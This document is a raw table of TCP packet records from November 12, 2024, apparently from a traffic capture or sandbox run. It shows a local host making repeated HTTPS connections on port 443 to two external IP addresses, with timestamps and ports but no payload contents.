Nov 12, 2024 17:29:12.787571907 CET	443	49171	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:12.787650108 CET	443	49171	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:12.787718058 CET	49171	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:12.805258989 CET	49171	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:12.805279016 CET	443	49171	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:12.805816889 CET	49173	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:12.805855036 CET	443	49173	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:12.805908918 CET	49173	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:12.809567928 CET	49173	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:12.809577942 CET	443	49173	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:12.913624048 CET	443	49172	142.250.186.100	192.168.2.22
Nov 12, 2024 17:29:12.914850950 CET	49172	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:29:12.914870977 CET	443	49172	142.250.186.100	192.168.2.22
Nov 12, 2024 17:29:12.915762901 CET	443	49172	142.250.186.100	192.168.2.22
Nov 12, 2024 17:29:12.915827036 CET	49172	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:29:12.916980982 CET	49172	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:29:12.917040110 CET	443	49172	142.250.186.100	192.168.2.22
Nov 12, 2024 17:29:13.121352911 CET	49172	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:29:13.121393919 CET	443	49172	142.250.186.100	192.168.2.22
Nov 12, 2024 17:29:13.321335077 CET	49172	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:29:13.436649084 CET	443	49173	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:13.437144995 CET	49173	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:13.437158108 CET	443	49173	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:13.437506914 CET	443	49173	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:13.440424919 CET	49173	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:13.440488100 CET	443	49173	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:13.440713882 CET	49173	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:13.487327099 CET	443	49173	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.070135117 CET	443	49173	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.070238113 CET	443	49173	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.070322037 CET	49173	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.071320057 CET	49173	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.071337938 CET	443	49173	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.130026102 CET	49174	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.130053043 CET	443	49174	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.130120039 CET	49174	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.135792017 CET	49174	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.135806084 CET	443	49174	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.168806076 CET	49175	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.168849945 CET	443	49175	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.168917894 CET	49175	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.170047045 CET	49175	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.170061111 CET	443	49175	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.752827883 CET	443	49174	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.753175974 CET	49174	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.753185987 CET	443	49174	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.753535986 CET	443	49174	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.753881931 CET	49174	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.753962994 CET	443	49174	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.754081011 CET	49174	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.799329042 CET	443	49174	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.803045034 CET	443	49175	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.803950071 CET	49175	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.803968906 CET	443	49175	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.804315090 CET	443	49175	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.807883978 CET	49175	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.807949066 CET	443	49175	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:14.808062077 CET	49175	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:14.855329990 CET	443	49175	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.513421059 CET	443	49174	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.513495922 CET	443	49174	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.513541937 CET	49174	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.514489889 CET	49174	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.514498949 CET	443	49174	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.518044949 CET	443	49175	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.518127918 CET	443	49175	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.518163919 CET	49175	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.519778013 CET	49175	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.519794941 CET	443	49175	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.528976917 CET	49177	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.529025078 CET	443	49177	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.529077053 CET	49177	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.529161930 CET	49178	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.529210091 CET	443	49178	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.529249907 CET	49178	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.533569098 CET	49177	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.533585072 CET	443	49177	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.536245108 CET	49178	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.536276102 CET	443	49178	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.556536913 CET	49179	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.556559086 CET	443	49179	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.556603909 CET	49179	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.556735039 CET	49180	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.556768894 CET	443	49180	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.556811094 CET	49180	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.556958914 CET	49179	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.556972027 CET	443	49179	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:15.557127953 CET	49180	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:15.557140112 CET	443	49180	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.150789976 CET	443	49177	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.151161909 CET	49177	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.151190996 CET	443	49177	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.151523113 CET	443	49177	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.151868105 CET	49177	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.151945114 CET	443	49177	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.152132034 CET	49177	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.156869888 CET	443	49178	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.157113075 CET	49178	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.157138109 CET	443	49178	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.157442093 CET	443	49178	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.157756090 CET	49178	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.157813072 CET	443	49178	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.195343971 CET	443	49177	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.199719906 CET	443	49179	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.199960947 CET	49179	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.199973106 CET	443	49179	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.200850964 CET	443	49179	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.200905085 CET	49179	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.201246023 CET	49179	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.201303005 CET	443	49179	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.201395035 CET	49179	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.203594923 CET	443	49180	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.203802109 CET	49180	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.203814983 CET	443	49180	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.204663992 CET	443	49180	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.204721928 CET	49180	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.205004930 CET	49180	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.205054998 CET	443	49180	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.205127001 CET	49180	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.243324995 CET	443	49179	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.251333952 CET	443	49180	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.355283022 CET	49178	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.395282030 CET	49179	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.395306110 CET	443	49179	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.410362005 CET	49180	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.410370111 CET	443	49180	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:16.593280077 CET	49179	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:16.610295057 CET	49180	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:17.001106977 CET	443	49180	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:17.001193047 CET	443	49180	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:17.001365900 CET	49180	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:17.002211094 CET	49180	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:17.002224922 CET	443	49180	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:17.848562956 CET	443	49177	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:17.848642111 CET	443	49177	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:17.848684072 CET	49177	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:17.854208946 CET	443	49179	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:17.854296923 CET	443	49179	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:17.854342937 CET	49179	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:17.858925104 CET	49177	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:17.858943939 CET	443	49177	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:17.859321117 CET	49178	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:17.860088110 CET	49179	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:17.860093117 CET	443	49179	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:17.903326988 CET	443	49178	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:18.523941040 CET	443	49178	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:18.524029970 CET	443	49178	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:18.524255037 CET	49178	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:18.525051117 CET	49178	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:18.525073051 CET	443	49178	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:18.547225952 CET	49181	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:18.547281981 CET	443	49181	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:18.547363997 CET	49181	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:18.549629927 CET	49181	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:18.549644947 CET	443	49181	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:18.549958944 CET	49182	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:18.549997091 CET	443	49182	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:18.550055027 CET	49182	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:18.550451040 CET	49182	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:18.550462961 CET	443	49182	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:19.170356035 CET	443	49181	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:19.171013117 CET	49181	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:19.171070099 CET	443	49181	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:19.171422958 CET	443	49181	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:19.171768904 CET	49181	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:19.171829939 CET	443	49181	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:19.172029972 CET	49181	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:19.189946890 CET	443	49182	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:19.190263033 CET	49182	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:19.190282106 CET	443	49182	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:19.190608025 CET	443	49182	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:19.190993071 CET	49182	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:19.191063881 CET	443	49182	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:19.191198111 CET	49182	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:19.219335079 CET	443	49181	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:19.235335112 CET	443	49182	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:19.373040915 CET	49181	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.007376909 CET	443	49181	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.007451057 CET	443	49181	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.007523060 CET	49181	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.008328915 CET	49181	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.008351088 CET	443	49181	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.017085075 CET	443	49182	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.017174959 CET	443	49182	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.017241955 CET	49182	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.017721891 CET	49183	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.017759085 CET	443	49183	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.017805099 CET	49183	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.019409895 CET	49183	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.019426107 CET	443	49183	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.019509077 CET	49182	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.019522905 CET	443	49182	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.038578033 CET	49184	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.038624048 CET	443	49184	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.038717985 CET	49184	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.039797068 CET	49184	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.039824963 CET	443	49184	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.042706966 CET	49185	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.042804003 CET	443	49185	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.042882919 CET	49185	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.043047905 CET	49185	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.043083906 CET	443	49185	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.049436092 CET	49186	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.049478054 CET	443	49186	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.049525976 CET	49186	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.049696922 CET	49186	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.049709082 CET	443	49186	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.642514944 CET	443	49183	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.642944098 CET	49183	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.642982006 CET	443	49183	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.643326998 CET	443	49183	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.643699884 CET	49183	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.643769026 CET	443	49183	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.643908978 CET	49183	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.653330088 CET	443	49185	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.653579950 CET	49185	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.653609037 CET	443	49185	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.653949976 CET	443	49185	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.654268980 CET	49185	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.654333115 CET	443	49185	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.654390097 CET	49185	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.658251047 CET	443	49184	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.658492088 CET	49184	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.658509970 CET	443	49184	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.658787966 CET	443	49184	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.660747051 CET	49184	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.660800934 CET	443	49184	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.691339970 CET	443	49183	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.699330091 CET	443	49185	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.703763962 CET	443	49186	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.704066992 CET	49186	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.704077959 CET	443	49186	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.704349995 CET	443	49186	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.704739094 CET	49186	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.704780102 CET	443	49186	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.704957962 CET	49186	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.751332045 CET	443	49186	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.844542980 CET	49183	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.859333992 CET	443	49185	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:20.859440088 CET	49185	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.861501932 CET	49184	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:20.904493093 CET	49186	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:21.410073042 CET	443	49185	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:21.410162926 CET	443	49185	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:21.410222054 CET	49185	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:21.411252975 CET	49185	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:21.411297083 CET	443	49185	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.229528904 CET	443	49183	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.229613066 CET	443	49183	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.229706049 CET	49183	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:22.234337091 CET	49183	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:22.234364986 CET	443	49183	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.234797001 CET	49184	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:22.255539894 CET	443	49186	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.255635023 CET	443	49186	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.255707026 CET	49186	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:22.256460905 CET	49186	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:22.256470919 CET	443	49186	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.279329062 CET	443	49184	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.812319040 CET	443	49184	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.812417030 CET	443	49184	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.812557936 CET	49184	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:22.827939034 CET	49184	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:22.827954054 CET	443	49184	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.929754019 CET	443	49172	142.250.186.100	192.168.2.22
Nov 12, 2024 17:29:22.929805040 CET	443	49172	142.250.186.100	192.168.2.22
Nov 12, 2024 17:29:22.929936886 CET	49172	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:29:22.943480968 CET	49172	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:29:22.943509102 CET	443	49172	142.250.186.100	192.168.2.22
Nov 12, 2024 17:29:22.943845987 CET	49187	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:22.943871021 CET	443	49187	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.943916082 CET	49187	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:22.944689035 CET	49187	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:22.944700956 CET	443	49187	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.953118086 CET	49188	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:22.953138113 CET	443	49188	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:22.953213930 CET	49188	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:22.953382969 CET	49188	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:22.953391075 CET	443	49188	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:23.650120974 CET	443	49188	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:23.650469065 CET	49188	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:23.650480032 CET	443	49188	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:23.650819063 CET	443	49188	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:23.651268959 CET	49188	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:23.651340008 CET	443	49188	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:23.651598930 CET	49188	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:23.654777050 CET	443	49187	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:23.655004978 CET	49187	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:23.655072927 CET	443	49187	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:23.655424118 CET	443	49187	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:23.655719995 CET	49187	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:23.655791044 CET	443	49187	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:23.656021118 CET	49187	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:23.699331999 CET	443	49188	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:23.703339100 CET	443	49187	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.340924025 CET	443	49187	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.341003895 CET	443	49187	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.341084003 CET	49187	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.342185020 CET	49187	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.342236042 CET	443	49187	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.342737913 CET	49189	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.342780113 CET	443	49189	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.342845917 CET	49189	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.343043089 CET	49189	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.343059063 CET	443	49189	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.380660057 CET	443	49188	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.380723953 CET	443	49188	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.380781889 CET	49188	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.381475925 CET	49188	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.381484985 CET	443	49188	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.384645939 CET	49190	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.384661913 CET	443	49190	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.384721994 CET	49190	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.385065079 CET	49190	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.385073900 CET	443	49190	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.389987946 CET	49191	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.390037060 CET	443	49191	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.390088081 CET	49191	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.392096043 CET	49191	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.392112017 CET	443	49191	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.957298994 CET	443	49189	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.957720041 CET	49189	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.957757950 CET	443	49189	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.958086014 CET	443	49189	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.958400965 CET	49189	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.958492994 CET	443	49189	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:24.958751917 CET	49189	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:24.999346972 CET	443	49189	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:25.000858068 CET	443	49190	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:25.001188993 CET	49190	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:25.001195908 CET	443	49190	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:25.001485109 CET	443	49190	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:25.001792908 CET	49190	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:25.001846075 CET	443	49190	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:25.002134085 CET	49190	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:25.002270937 CET	443	49191	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:25.002464056 CET	49191	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:25.002480030 CET	443	49191	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:25.002762079 CET	443	49191	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:25.003036976 CET	49191	443	192.168.2.22	188.114.97.3
